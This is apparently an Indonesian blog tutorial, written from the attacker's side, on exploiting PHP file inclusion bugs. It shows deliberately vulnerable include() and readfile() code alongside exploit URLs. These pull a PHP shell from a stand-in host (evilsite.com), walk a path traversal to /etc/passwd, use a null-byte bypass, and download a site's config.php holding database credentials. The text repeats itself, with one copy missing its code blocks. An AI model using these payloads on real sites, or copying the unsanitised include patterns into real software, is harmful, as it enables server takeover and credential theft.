1. Remote File Inclusion
contoh script :
misal :
itu artinya isi dari index.php bakal di eksekusi kedalem get.php
phpshellcode : http://evilsite.com/evilscript.txt
exploitasi :
kita masukkin php shell code ke dalem get.php
caranya tinggal ubah index.php jadi URL phpshellcode kita.
kalo kita masukkin URL phpshellcode kita, nanti script akan berubah sementara jadi :
kadang ada script yang berisi :
jadi semisal kita include http://evilsite.com/evilscript.txt kita, bakal berubah URL-nya jadi http://evilsite.com/evilscript.txt.php
untuk menghilangkan .php di akhir URL shellcode kita, bisa kita tambah NULLBYTE ( ).
2. Local File Inclusion
contoh script :
sama kayak RFI. cuman kalo ini hanya berlaku buat include file di 1 server.
misal :
bisa juga kita pake NULLBYTE buat bypass.. sama kayak RFI.
3. Local File Disclosure/Download
contoh script :
kesalahan itu bisa dimanfaatkan untuk mendownload file sensitif seperti konfigurasi database.
misal :
CONTOH DALAM GAMBAR NEEEHHH!!!
isi vulnerable file..
![[Image: 1lfifile.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uuOhJiIr0w2qUlcS84dy2-v2JpW0z7iE8s49F49ELuwVLwvGVM5HZZlZxDgk91iMYQajPYzse5PsquqGCbJpgGtAiWSOncqdYy2CMb1AA9tQAx7_bUfC4=s0-d)
berikut isi file yang mau kita eksekusi..
![[Image: 2isitext.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_twjOOxPOiTEQRDlAJAQPv0c-TAUkgnDNciZyPV3idYeDlK7B3X78oeysvFmQVVdfyNb8_7S3ZDg1YM8m7vd1hadRtU_mFh2ra8OkWCRR_iwrW_DqyXkIg=s0-d)
berikut gambar file yang ter-eksekusi..
![[Image: 3executed.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWRUJk3hfSMPqs-WE1rc-o18KcZIiAD09DgqTxkrZO9knwWwLwiZmEdiXRXA_nSg2OTNX72gvgw1aK6Lp5drdcNanff4dxSL6dxvPUsSZkaE9TT_81ImV7=s0-d)
berikut contoh pesan error LFI..
![[Image: 5gagallfi.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFtVtKclWP96J3y8kHzBKyRQXTIAqUUfnZBSUX-xmI-TvfPs0xrbhvtX9jfgt9QMehF1hlPG23iN0tzz9vIxt6rN-jPFpuPRp5d_K4N0Uc0zjbGr4jSpx-=s0-d)
berikut contoh pesan error RFI
![[Image: 4errorrfi.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZF6y4OYFrdfRnk0bQ1GQLsEF6JFjc0t2rdAz3PkZJDf3MoTHsYJefkQoMRErCJTDR2ZnrPNhDENJFbPBKIWs78h9RyqaGpFgEReP4oW1jTsd0kQizfyU0=s0-d)
RFI gagal karena setting allow_url_include di php.ini OFF..
![[Image: 6phpini.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sPfk8hmRRbvVzfMX2cVZK8xsT5dEfez4oqamXnrFiRPvw-hMZaBFFPkdF-8NKWQ-h17fUCRmc8CQH0IwkKrjptYe0zkQSnzjFMGxIX2SbQyGo0Kxv6BQ=s0-d)
SEKIAN
contoh script :
Code:
<?php $page=$_GET['file'];
include($page);
?>misal :
Code:
http://www.sh4dhckr.com/get.php?file=index.phpphpshellcode : http://evilsite.com/evilscript.txt
exploitasi :
kita masukkin php shell code ke dalem get.php
caranya tinggal ubah index.php jadi URL phpshellcode kita.
Code:
http://www.sh4dhckr.com/get.php?file=http://evilsite.com/evilscript.txtkalo kita masukkin URL phpshellcode kita, nanti script akan berubah sementara jadi :
Code:
<?php $page="http://evilsite.com/evilscript.txt";
include($page);
?>kadang ada script yang berisi :
Code:
<?php
$page=$_GET['page'];
include($page.'.php');
?>jadi semisal kita include http://evilsite.com/evilscript.txt kita, bakal berubah URL-nya jadi http://evilsite.com/evilscript.txt.php
untuk menghilangkan .php di akhir URL shellcode kita, bisa kita tambah NULLBYTE ( ).
Code:
http://www.sh4dhckr.com/get.php?file=http://evilsite.com/evilscript.txt2. Local File Inclusion
contoh script :
Code:
<?php
$page=$_GET['page'];
include('/pages/'.$page);
?>sama kayak RFI. cuman kalo ini hanya berlaku buat include file di 1 server.
misal :
Code:
http://www.sh4dhckr.com/get.php?file=../../../../../../../../../../etc/passwdbisa juga kita pake NULLBYTE buat bypass.. sama kayak RFI.
3. Local File Disclosure/Download
contoh script :
Code:
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
//header( "Content-Description: File Transfer");
@readfile($file);
die();kesalahan itu bisa dimanfaatkan untuk mendownload file sensitif seperti konfigurasi database.
misal :
Code:
http://www.sh4dhckr.com/get.php?file=includes/config.phpCONTOH DALAM GAMBAR NEEEHHH!!!
isi vulnerable file..
berikut isi file yang mau kita eksekusi..
berikut gambar file yang ter-eksekusi..
berikut contoh pesan error LFI..
berikut contoh pesan error RFI
RFI gagal karena setting allow_url_include di php.ini OFF..
SEKIAN
Posting Komentar